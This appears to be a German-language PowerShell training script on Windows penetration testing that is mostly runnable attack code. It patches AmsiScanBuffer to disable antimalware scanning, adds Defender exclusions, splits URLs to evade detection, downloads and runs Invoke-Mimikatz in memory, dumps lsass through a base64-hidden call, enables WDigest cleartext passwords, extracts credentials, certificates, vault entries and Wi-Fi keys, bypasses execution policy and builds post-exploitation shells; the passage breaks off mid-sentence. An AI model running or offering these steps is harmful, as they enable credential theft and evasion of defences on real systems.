Private/Wissen/X_Technology/X11_Technology_Hacking.ps1

# ? TITEL Hacking / Penetration-Testing
# ? DESCRIPTION Mittels PowerShell Windows auf Schwachstellen prüfen
# ? TAGS ACL SecureString Password Penetration Test
# ? VERSION 2020.01.31

# [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
# param()

# TODO Weiterführende und Nachschlage-Informationen:
# TODO - Siehe auch: C11_Sicherheit.ps1

<# ! Die Phasen eines Angriffs
 
    In der Praxis dauert es im Durchschnitt 100 Tage, bis die Anwesenheit von Angreifern in einem
    Unternehmensnetzwerk bemerkt wird. In diesem Zeitraum können die Angreifer ungestört
    ihre Ziele verfolgen.
 
    Alle bösartigen Befehle werden im nicht-dauerhaften Arbeitsspeicher ausgeführt.
    Die Folge ist:
    - Die Erkennung durch Malwarescanner wird erschwert
    – Die Flüchtigkeit der Beweismittel behindert
    - Die spätere forensische Untersuchung erschwert
 
    # Cyber Kill Chain (nach Lockheed Martin)
 
    1. Reconnaissance : Hier wählt der Angreifer sein Ziel aus.
       Sammelt Informationen. Versucht, Schwachstellen in seinem
       Zielnetzwerk zu identifizieren.
 
    2. Weaponization : Der Angreifer erstellt auf eine Schadsoftware (Malware),
       maßgeschneidert auf eine spezifische Schwachstelle seines Ziels.
     
    3. Delivery : Der Angreifer sendet den Schadcode zu seinem Ziel,
       etwa als E-Mail-Anhang oder über USB-Sticks.
 
    4. Exploitation : Wird der Schadcode des vorbereiteten bösartigen Programms
       aufgeführt.
 
    5. Installation : Die Malware permanent auf dem Zielrechner installiert.
 
    6. Command and Control : Um Daten entwenden zu können, wird ein dauerhafter
       Zugriff auf die Infrastruktur des Ziels eingerichtet.
       Es werden weitere Hintertüren installiert.
 
    7. Action on Objectives : Der Angreifer führt die für sein eigentliches Ziel
       notwendigen Handlungen durch, etwa indem er Daten stiehlt, löscht oder
       zur Erpressung verschlüsselt.
 
    # Die Phasen im Detail
 
    ## Aufklärung (Reconnaissance, Information Gathering, Situational Awareness, Enumeration)
 
    - Informationen über angegriffenen Rechner und unmittelbare Netzumgebung sammeln.
    - Interessante Dateien und Daten finden, etwa Kreditkartendaten oder Geschäftsgeheimnisse.
 
    ## Steuerung (Command and Control, Code Execution)
 
    - Einen oder mehrere übernommene Rechner fernsteuern.
 
    ## Persistenz (Persistence, Backdooring)
 
    - Dauerhaften unbemerkten Zugriff auf ein System einrichten.
    - Mindestens auf einen Rechner im Zielnetzwerk permanenten Zugriff halten.
 
    ## Datendiebstahl (Credential Theft, Asset Discovery)
 
    - Vertrauliche Informationen, geistiges Eigentum, oder Zugangsdaten
      wie Benutzernamen, Passwörter und Passworthashes auslesen.
 
    ## Rechteerweiterung (Privilege Escalation)
 
    - Von einem normalen Benutzerzugang mit eingeschränkten Privilegien über
      lokale Administrator-Befugnisse bis hin zu Domänen-Administrator-Rechten.
 
    ## Ausbreitung (Lateral Movement, Pivoting, Network Colonization)
 
    - Von einem befallenen Rechner den Zugriff auf weitere Rechner ausbreiten.
 
    ## Spurenbeseitigung (Log Tampering)
 
    - Spuren des Angriffs von den befallenen Systemen entfernen.
 
    ## Systemstörung (System Disruption, Denial of Service)
 
    - Dienste und Systeme unmittelbar in ihrer bestimmungsgemäßen Funktion stören.
 
    ## Datenausschaffung (Data Exfiltration, Complete Mission)
 
    - Gestohlene Daten unbemerkt aus dem angegriffenen Netzwerk ausschaffen.
#>


#region SecureString entschlüsseln

# ! SecureString
$geheim = Read-Host -Prompt "Passphrase eingeben" -AsSecureString
"GEHEIME BOTSCHAFT: " + [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($geheim))

# ! Get-Credential
$cred = Get-Credential -Message "HR Leader" -UserName "mueller"
"BENUTZERNAME: " + $cred.UserName
"PASSWORT: " + [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($cred.Password))

#endregion

#region Besitzt der Benutzer Admin-Rechte

$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object -TypeName Security.Principal.WindowsPrincipal -ArgumentList $identity
$IsAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
"Ist der User $($identity.Name) Administrator? $IsAdmin"

#endregion

#region PowerShell ScriptBlock-Code über eine .EXE-Datei ausführen

# ! Eine weitere Umgehungs­möglichkeit besteht darin, PowerShell-Scripts zu
# ! ausführbaren Dateien zu kompilieren.

Set-Location -Path "C:\temp"
Remove-Item -Path ".\start.*" -Force

@"
using System;
using System.Diagnostics;
using System.Management.Automation;
using System.Collections.ObjectModel;
 
namespace WindowsFormsApplication1
{
    static class Program
    {
        [STAThread]
        static void Main()
        {
            var powershell = PowerShell.Create();
            powershell.AddScript("'Hallo Welt!' | Write-Output", true);
            var pSOutput = powershell.Invoke();
            foreach (var outputItem in pSOutput)
            {
                if (outputItem != null)
                    Console.WriteLine(outputItem.BaseObject.ToString() + "\n");
            }
        }
    }
}
"@
 | Set-Content start.cs -Encoding UTF8 -Force

Start-Process -FilePath "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" `
              -ArgumentList "-target:exe", `
                            "-out:start.exe", `
                            "-reference:C:\windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll", `
                            "start.cs" # * Weitere Details zum Compiler siehe https://msdn.microsoft.com/en-us/library/78f4aasd.aspx

# ! Testen:
.\start.exe 

#endregion

#region String-Code mittels Invoke-Expression ausführen (RAM to Function:\)

# ! das Cmdlet Invoke-Expression interpretiert Text als PowerShell-Befehle und
# ! führt diese dan aus.

Invoke-Expression -Command @'
function Out-MiniDump {
    <#
        .SYNOPSIS
        MemoryDump of a process.
  
        .PARAMETER Process
        The process object is obtained with Get-Process.
  
        .PARAMETER DumpFilePath
        Specifies the path where dump files will be written. By default, dump files are written to the current working directory. Dump file names take following form: processname_id.dmp
  
        .EXAMPLE
        Out-MiniDump -Process (Get-Process -Id 4293)
        Get-Process lsass | Out-MiniDump
        Get-Process | Out-MiniDump -DumpFilePath C:\temp
  
        .INPUTS
        System.Diagnostics.Process => You can pipe a process object to Out-MiniDump.
  
        .OUTPUTS
        System.IO.FileInfo
    #>
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true, ValueFromPipeline = $true)]
        [System.Diagnostics.Process]
        $Process,
 
        [ValidateScript({ Test-Path $_ })]
        [String]
        $DumpFilePath = $PWD
    )
 
    BEGIN {
        $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
        $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
        $Flags = [Reflection.BindingFlags]'NonPublic, Static'
        $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
        $MiniDumpWithFullMemory = [UInt32]2
    }
 
    PROCESS {
        $ProcessId = $Process.Id
        $ProcessName = $Process.Name
        $ProcessHandle = $Process.Handle
        $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
        $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
         
        $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
        $code = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("JFJlc3VsdCA9ICRNaW5pRHVtcFdyaXRlRHVtcC5JbnZva2UoJG51bGwsIEAoJFByb2Nlc3NIYW5kbGUsICRQcm9jZXNzSWQsICRGaWxlU3RyZWFtLlNhZmVGaWxlSGFuZGxlLCAkTWluaUR1bXBXaXRoRnVsbE1lbW9yeSwgW0ludFB0cl06Olplcm8sIFtJbnRQdHJdOjpaZXJvLCBbSW50UHRyXTo6WmVybykp"));
        Invoke-Expression -Command $code
         
        $FileStream.Close()
 
        if (-not $Result) {
            $Exception = New-Object ComponentModel.Win32Exception
            $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
            Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
             Write-Error -Exception $ExceptionMessage
        }
        else {
            Get-ChildItem $ProcessDumpPath
        }
    }
 
    END {}
}
'@

Get-Process lsass | Out-MiniDump -DumpFilePath c:\temp\

# ! Mittels ScriptBlockLogging kann nachvollzogen werden,
# ! das PowerShell-Befehle auf dieser weise ausgeführt wurden.

#endregion

#region Bestehende restriktive Execution Policy aushebeln

'"Code-Run from Test.ps1" | Write-Warning' | Out-File -FilePath "C:\temp\Test.ps1"
Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope Process      -Force 
Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope CurrentUser  -Force 
Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope LocalMachine -Force
Get-ExecutionPolicy -List 

# ! NICHT Erlaubt
. "C:\Temp\Test.ps1"

# * ERLAUBT
Get-Content -Path "C:\Temp\test.ps1" | powershell.exe -NoProfile -

# * ERLAUBT
powershell.exe -NoProfile -ExecutionPolicy ByPass
. "C:\Temp\Test.ps1"

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope Process      -Force 
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser  -Force 
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope LocalMachine -Force 

#endregion

#region Die dauerhafte 'Constrained Language Mode'-Einschränkung per Umgebungsvariable umgehen

# ? Den 'Constrained Language Mode' DAUERHAFT aktivieren:
[Environment]::SetEnvironmentVariable("__PSLockDownPolicy", "4", "Machine") # 1 => FullLanguage
$env:__PSLockDownPolicy
# ! Die Folge ist, das jeder PowerShell-Host (Console, ISE, VSCode, etc.) im eingeschränkten Modus startet!

# ! Hacker-Attacke:
$Host.Runspace.LanguageMode
[System.Diagnostics.Stopwatch]::GetTimestamp()
New-Item -ItemType Directory -Path "C:\System32" -Force
@'
Write-Host ($Host.Runspace.LanguageMode)
[System.Diagnostics.Stopwatch]::GetTimestamp() | Out-Host
'@
 | Out-File -FilePath "C:\System32\ByPass.psm1" -Force
Import-Module -Name "C:\System32\ByPass.psm1" -Force

#endregion

#region Scan-Ausnahmen für Windows Defender definieren

# ! Den Ordner C:\temp als Ausnahme im Windows Defender hinterlegen
New-Item -Path c:\Temp -ItemType Directory
Add-MpPreference -ExclusionPath "C:\Temp" -Force
Set-Location C:\temp

# ! Die Ausnahme f+r den Ordner C:\temp wieder aufheben.
Remove-MpPreference -ExclusionPath "C:\Temp" -Force

#endregion

#region Scripte downloaden und Virenscanner umgehen / überlisten (AMSI-Bypass)

# ! Verschiedene Amsi-Bypass-Powershell verfahren werden hier erläutert https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

# ! Carrie Roberts (https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/) demonstriert,
# ! wie man die meisten Virenscanner durch Suchen und Ersetzen einiger markanter Stellen überlisten kann.

# ! Mit https://www.virustotal.com können Sie Dateien prüfen und erhalten eine
# ! Erkennungsrate der diversen Virenscanner.

# ! Schon der Url wird vom Viren-Scanner (Windows Defender) erkannt
$url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"
# * Lösung:
$url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimi" + "katz.ps1"

# ! Jetzt wird jedoch der Download vom Virenscanner erkannt:
Invoke-WebRequest -Uri $url -OutFile "C:\Temp\Invoke-Mimikatz.ps1"
# * Lösung: AnitMalware Scan Interface temporär manipulieren
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)
 # * Der Download klappt!
Invoke-WebRequest -Uri $url -OutFile "C:\Temp\Invoke-MimiKatz.ps1"

# ! Jetzt können wir jedoch nicht auf die Datei zugreifen da dieser wieder vom Virenscanner verhindert wird:
. "C:\Temp\Invoke-MimiKatz.ps1"
# * Lösung: Das Script in als String im RAM downloaden und mittels Invoke-Expression in function:\ materialisieren:
$ScriptContent = Invoke-WebRequest -Uri $url | Select-Object -ExpandProperty Content
Invoke-Expression -Command $ScriptContent

Get-Command -Name Invoke-Mimikatz
Get-Help -Name Invoke-Mimikatz -ShowWindow
# Beschreibung von MimiKatz unter https://github.com/gentilkiwi/mimikatz

# ! Aufräumen und keine Spuren hinterlassen
Remove-Item -Path Function:\Invoke-Mimikatz -Force
Remove-Variable -Name url, LoadLibrary, Address, p, Patch, ScriptContent -Force

#endregion

#region Kennwörter und Zertifikate mit Invoke-Mimikatz auslesen

# ! 1. Arbeitsverzeichnis einrichten
Set-Location -Path C:\Temp

# ! 2. AMSI-Bypass etablieren
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)

# ! 3. Invoke-WebRequest downloaden und in function:\ materialisieren:
$url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimi" + "katz.ps1"
Invoke-Expression -Command (Invoke-WebRequest -Uri $url | Select-Object -ExpandProperty Content)

# ! 4. Invoke-Mimikatz benutzen (https://github.com/gentilkiwi/mimikatz):
Get-Help -Name Invoke-Mimikatz -ShowWindow

# ! 4.1. Passwörter angemeldeter Benutzer auslesen
# * TESTSITUATION:
New-LocalUser -Name "Peter" -Password (Read-Host -Prompt "Passwort für Peter" -AsSecureString) -AccountExpires (Get-Date).AddHours(5) -PasswordNeverExpires -UserMayNotChangePassword
$CredPeter = Get-Credential -Message "Für localhost" -UserName "Peter"
Start-Process -FilePath "C:\Windows\notepad.exe" -Credential $CredPeter
# ! AUSWERTUNG:
$result = Invoke-Mimikatz -DumpCreds
($result[1] -split "[,\r\n]") | Select-String -Pattern "(Username|Password)"

# ! 4.2. Zertifikate mit privaten Schlüssel exportieren:
# * TESTSITUATION:
$params = @{
    Subject           = "CN=_Peter_Admin (PS Developer), E=p.admin@abc.local"
    HashAlgorithm     = "SHA512"
    KeyExportPolicy   = [Microsoft.CertificateServices.Commands.KeyExportPolicy]::ExportableEncrypted
    CertStoreLocation = "Cert:\CurrentUser\My"
    Type              = [ Microsoft.CertificateServices.Commands.CertificateType]::CodeSigningCert
    NotAfter          = (Get-Date).AddDays(2) 
}
$pfxCert = New-SelfSignedCertificate @params
# ! AUSWERTUNG:
Invoke-Mimikatz -DumpCerts 
$PfxFullName = Get-ChildItem -Path ".\*_Peter_Admin (PS Developer).pfx" | Select-Object -ExpandProperty FullName
Start-Process -FilePath $PfxFullName # ! Passwort ist: mimikatz

# ! 4.3. Weitere Auswertung diverse Passwort-Stores (ACHTUNG NICHT DRITTE AUF DEN MONITOR SCHAUEN LASSEN - NICHTS FÜR SCHWACHE NERVEN):
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::tspkg"'
Invoke-Mimikatz -Command "vault::list"
Invoke-Mimikatz -Command "vault::cred"
Invoke-Mimikatz -Command "crypto::keys /export"

# ! Aufräumen und alle Spuren beseitigen:
Remove-Item -Path Function:\Invoke-Mimikatz -Force
$pfxCert | Remove-Item
Remove-LocalUser -Name Peter
Remove-Item -Path C:\Temp\* -Recurse -Force
Remove-Variable -Name PfxFullName, pfxCert, params, result, CredPeter, url, p, Address, LoadLibrary
Set-Location -Path $env:USERPROFILE

#endregion

#region WLAN-Profile auslesen inkl. PSK

$WLans = netsh wlan show profiles | Select-String -Pattern "Profil für alle Benutzer" | Foreach-Object {$_.ToString()}
$exportdata = $WLans | Foreach-Object {$_.Replace(" Profil für alle Benutzer : ",$null)}
$exportdata | ForEach-Object {netsh wlan show profiles name="$_" key=clear} | Out-File C:\Temp\WLanProfiles.log

#endregion

#region Umgehung durch alternative Shells

# ! Powershell CLM Bypass Using Runspaces
# ! https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/

#region # ! Arbeitsbereitschaft herstellen

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)

$WorkDirectoryBackup = Get-Location
New-Item -Path c:\Temp -ItemType Directory -Force | Select-Object -ExpandProperty "FullName" | Set-Location
Add-MpPreference -ExclusionPath "C:\Temp" -Force

#endregion

#region # ? p0wnedShell

# * SYNOPSIS p0wnedShell ist eine in C # geschriebene PowerShell-Hostanwendung die nicht auf powershell.exe basiert.
# * LAST UPDATE 2019
# * SOURCE https://github.com/Cn33liz/p0wnedShell
# * DESCRIPTION
<#
    p0wnedShell ist eine in C # geschriebene PowerShell-Hostanwendung, die nicht auf powershell.exe basiert,
    sondern powershell-Befehle und -Funktionen in einer Powershell-Runspace-Umgebung (.NET) ausführt. Es enthält viele
    PowerShell-Module und Binärdateien, um den Prozess der Nachnutzung zu vereinfachen. Wir haben versucht,
    ein „All-in-One“ -Post-Exploitation-Tool zu entwickeln, mit dem wir alle Abhilfemaßnahmen (oder zumindest einige davon)
    umgehen können, und das alle relevanten Tools enthält. Sie können es verwenden, um moderne Angriffe in
    Active Directory-Umgebungen auszuführen und das Bewusstsein Ihres Blue-Teams zu stärken,
    damit es die richtigen Verteidigungsstrategien entwickeln kann.
#>


# ! p0wnedShell etablieren:

Invoke-WebRequest -Uri "https://github.com/Cn33liz/p0wnedShell/archive/master.zip" -OutFile "C:\Temp\p0wnedShell.zip"
Expand-Archive -Path "C:\Temp\p0wnedShell.zip" -DestinationPath "c:\temp" -Force
Rename-Item -Path "C:\temp\p0wnedShell-master" -NewName "p0wnedShell" -Force
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\p0wnedShell\p0wnedShell.sln /t:Rebuild /p:Configuration=Release /p:Platform=X64
Start-Process -FilePath  "C:\Temp\p0wnedShell\p0wnedShell\bin\x64\Release\p0wnedShell.exe"

#endregion

#region # ? PowerOPS

# ! ACHTUNG: Stand 30.01.2020 unter Windows 10 ist PowerOPS unbrauchbar da es von Defender erkannt wird.

# * SYNOPSIS Tragbares PowerShell Runspace-Tool zum Penetration-Test
# * LAST UPDATE 2019
# * SOURCE https://github.com/fdiskyou/PowerOPS
# * DESCRIPTION
<#
    PowerOPS ist eine in C# geschriebene Anwendung, die nicht auf powershell.exe basiert, sondern PowerShell-Befehle und -Funktionen
    in einer Powershell-Runspace-Umgebung (.NET) ausführt. Es ist beabsichtigt, mehrere PowerShell-Module zu integrieren,
    um den Prozess der Nachnutzung zu vereinfachen. Es versucht, dem KISS-Prinzip zu folgen und so einfach wie möglich zu sein.
    Das Hauptziel besteht darin, die offensive Verwendung von PowerShell zu vereinfachen und die Umgehung von
    Virenschutz- und anderen Schadensbegrenzungslösungen zu unterstützen.
     
    Dies geschieht durch: - Es ist nicht auf powershell.exe angewiesen, sondern ruft PowerShell direkt über das .NET-Framework auf,
                            wodurch möglicherweise Sicherheitskontrollen wie GPO, SRP und App Locker umgangen werden.
                          - Die Nutzdaten werden aus dem Speicher ausgeführt und berühren niemals die Festplatte,
                            wodurch die meisten Antiviren-Engines umgangen werden.
                          - PowerOPS wurde von Cn33liz / p0wnedShell inspiriert.
#>


Invoke-WebRequest -Uri "https://github.com/fdiskyou/PowerOPS/archive/master.zip" -OutFile "C:\Temp\PowerOPS.zip"
Expand-Archive -Path "C:\Temp\PowerOPS.zip" -DestinationPath "c:\temp" -Force
Rename-Item -Path "C:\temp\PowerOPS-master" -NewName "PowerOPS" -Force
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\PowerOPS\PowerOPS.sln /t:Rebuild /p:Configuration=Release /p:Platform=X64
Start-Process -FilePath  "C:\temp\PowerOPS\PowerOPS\bin\x64\Release\PowerOPS.exe"

#endregion

#region # ? PS>Attack

<#
https://github.com/jaredhaight/PSAttack
PS>Attack von Jared Haight wurde im März 2016 auf der Konferenz CarolinaCon vorgestellt [16, S. 1-2].
Im Gegensatz zu den bislang aufgezählten Skriptsammlungen ist PS>Attack eine kompilierte Binärdatei, die ein Angreifer auf einem übernommenen Rechner aufbringen kann. Mit dieser Binärdatei können PowerShell-Skripte selbst dann aufgerufen und interpretiert werden, wenn die Ausführung der Standard-Konsole powershell.exe gesperrt wurde. Denn PS>Attack bindet eine tiefer liegende Komponente des Betriebssystems zur PowerShell-Interpretation ein und funktioniert so unmittelbar von einer frischen Windows-7-Installation bis zu einem aktuell gepatchten Windows 10.
Mit dem PowerShell-Kommando Get-Attack können die verfügbaren Skripte innerhalb der PS>Attack-Konsole angezeigt werden.
Abbildung 8: Übersicht über in PS>Attack integrierte Module (Quelle: https://adsecurity.org/?p=2921)
In die Binärdatei von PS>Attack einkompiliert ausgeliefert werden über Hundert bekannte offensive PowerShell-Skripte, darunter ausgewählte Befehle aus PowerSploit, Nishang und Powercat.
Damit das Post-Exploitation-Werkzeug von Malwarescannern und von Incident Respondern trotz der ausführbaren Datei, die auf den angegriffenen Rechner aufgebracht wird, dennoch nicht einfach erkannt werden kann, nutzt es einige Techniken zur Verschleierung: So sind etwa Skripte innerhalb der Binärdatei von PS>Attack verschlüsselt gespeichert und werden erst beim Starten der Konsole in den Arbeitsspeicher entschlüsselt; dadurch landen die Angriffsskripte niemals im Klartext auf der Festplatte [16, S. 15].
#>


#endregion

# ? PowerShell Empire
# ! This project is no longer supported
# https://github.com/EmpireProject/Empire
# http://www.powershellempire.com
# Empire ist ein Post-Exploitation-Framework, das einen reinen PowerShell2.0-Windows-Agenten und einen reinen Python 2.6 / 2.7-Linux / OS X-Agenten enthält.

#region # ! Arbeitsnachbereitung: Aufräumen und alle Spuren beseitigen:

Remove-Module -Name "*" -Force -Verbose
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
$WorkDirectoryBackup | Set-Location
Remove-Item -Path "C:\Temp" -Recurse -Force
Remove-Variable -Name WorkDirectoryBackup, LoadLibrary, Address, p -Force

#endregion

#endregion

#region Windows-Passwörter mit MimiKatz.exe auslesen

# ! Führen Sie alle PowerShell-Befehle mit privilegierten Administratoren-Rechten aus

# TODO Den Ordner C:\temp anlegen, als Ausnahme im Windows Defender hinterlegen und als Arbeitsverzeichnis setzen
New-Item -Path c:\Temp -ItemType Directory
Add-MpPreference -ExclusionPath "C:\Temp" -Force
Set-Location C:\temp

# TODO UseLogonCredential auf 1 setzen
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Value 1 -PropertyType DWord

# TODO Cmdlet erstellen um von Prozessen ein Speicher-Dump erstellen zu können
Invoke-Expression -Command @'
function Out-MiniDump {
    <#
        .SYNOPSIS
        MemoryDump of a process.
  
        .PARAMETER Process
        The process object is obtained with Get-Process.
  
        .PARAMETER DumpFilePath
        Specifies the path where dump files will be written. By default, dump files are written to the current working directory. Dump file names take following form: processname_id.dmp
  
        .EXAMPLE
        Out-MiniDump -Process (Get-Process -Id 4293)
        Get-Process lsass | Out-MiniDump
        Get-Process | Out-MiniDump -DumpFilePath C:\temp
  
        .INPUTS
        System.Diagnostics.Process => You can pipe a process object to Out-MiniDump.
  
        .OUTPUTS
        System.IO.FileInfo
    #>
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true, ValueFromPipeline = $true)]
        [System.Diagnostics.Process]
        $Process,
 
        [ValidateScript({ Test-Path $_ })]
        [String]
        $DumpFilePath = $PWD
    )
 
    BEGIN {
        $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
        $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
        $Flags = [Reflection.BindingFlags]'NonPublic, Static'
        $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
        $MiniDumpWithFullMemory = [UInt32]2
    }
 
    PROCESS {
        $ProcessId = $Process.Id
        $ProcessName = $Process.Name
        $ProcessHandle = $Process.Handle
        $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp"
        $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName
         
        $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create)
        $code = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("JFJlc3VsdCA9ICRNaW5pRHVtcFdyaXRlRHVtcC5JbnZva2UoJG51bGwsIEAoJFByb2Nlc3NIYW5kbGUsICRQcm9jZXNzSWQsICRGaWxlU3RyZWFtLlNhZmVGaWxlSGFuZGxlLCAkTWluaUR1bXBXaXRoRnVsbE1lbW9yeSwgW0ludFB0cl06Olplcm8sIFtJbnRQdHJdOjpaZXJvLCBbSW50UHRyXTo6WmVybykp"));
        Invoke-Expression -Command $code
         
        $FileStream.Close()
 
        if (-not $Result) {
            $Exception = New-Object ComponentModel.Win32Exception
            $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))"
            Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue
             Write-Error -Exception $ExceptionMessage
        }
        else {
            Get-ChildItem $ProcessDumpPath
        }
    }
 
    END {}
}
'@


# TODO MimiKatz als 7Zip-Datei von GitHub downloaden
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls11,Tls12'
Invoke-WebRequest -Uri 'https://github.com/gentilkiwi/mimi" + "katz/releases/latest/download/mimi" + "katz_trunk.7z' -OutFile ".\mimi" + "katz_trunk.7z"

# TODO 7Zip-Modul installieren und MimiKatz zu entpacken
Install-Module -Name 7Zip4Powershell -Scope CurrentUser -Force -AllowClobber
Expand-7Zip -ArchiveFileName ".\mimi" + "katz_trunk.7z" -TargetPath .\

# TODO Einen Speicher-Dump vom lsass-Prozess erstellen und Dateiname kopieren
Get-Process lsass | Out-Minidump
Get-ChildItem -Path .\lsass_*.dmp

# TODO MimiKatz starten ...
Start-Process -FilePath ".\x64\mimi" + "katz.exe"
# TODO .. und folgende Befehle eingaben:
# sekurlsa::minidump C:\temp\lsass_1084.dmp
# sekurlsa::logonPasswords full
# ! TATA Eine Übersicht angemeldeter Usern mit Benutzername, Passwörter Hash-Werten

# TODO Aufräumen
Remove-Item -Path function:\Out-MiniDump -Force
Remove-Item -Path C:\Temp\* -Recurse -Force
Remove-Module -Name 7Zip4Powershell -Force
Uninstall-Module -Name 7Zip4Powershell -Force
Remove-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential
Remove-MpPreference -ExclusionPath "C:\Temp" -Force
Set-Location -Path $env:USERPROFILE

#endregion

#region Hacking-Tools für PowerShell

#region # ! Arbeitsbereitschaft herstellen

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6)

$WorkDirectoryBackup = Get-Location
New-Item -Path c:\Temp -ItemType Directory -Force | Select-Object -ExpandProperty "FullName" | Set-Location
Add-MpPreference -ExclusionPath "C:\Temp" -Force

#endregion

#region # ? PowerSploit

# * Letztes Update: 2016
# * Quelle: https://github.com/PowerShellMafia/PowerSploit

# * Beschreibung
<#
PowerSploit ist eine Sammlung von Microsoft PowerShell-Modulen, mit denen
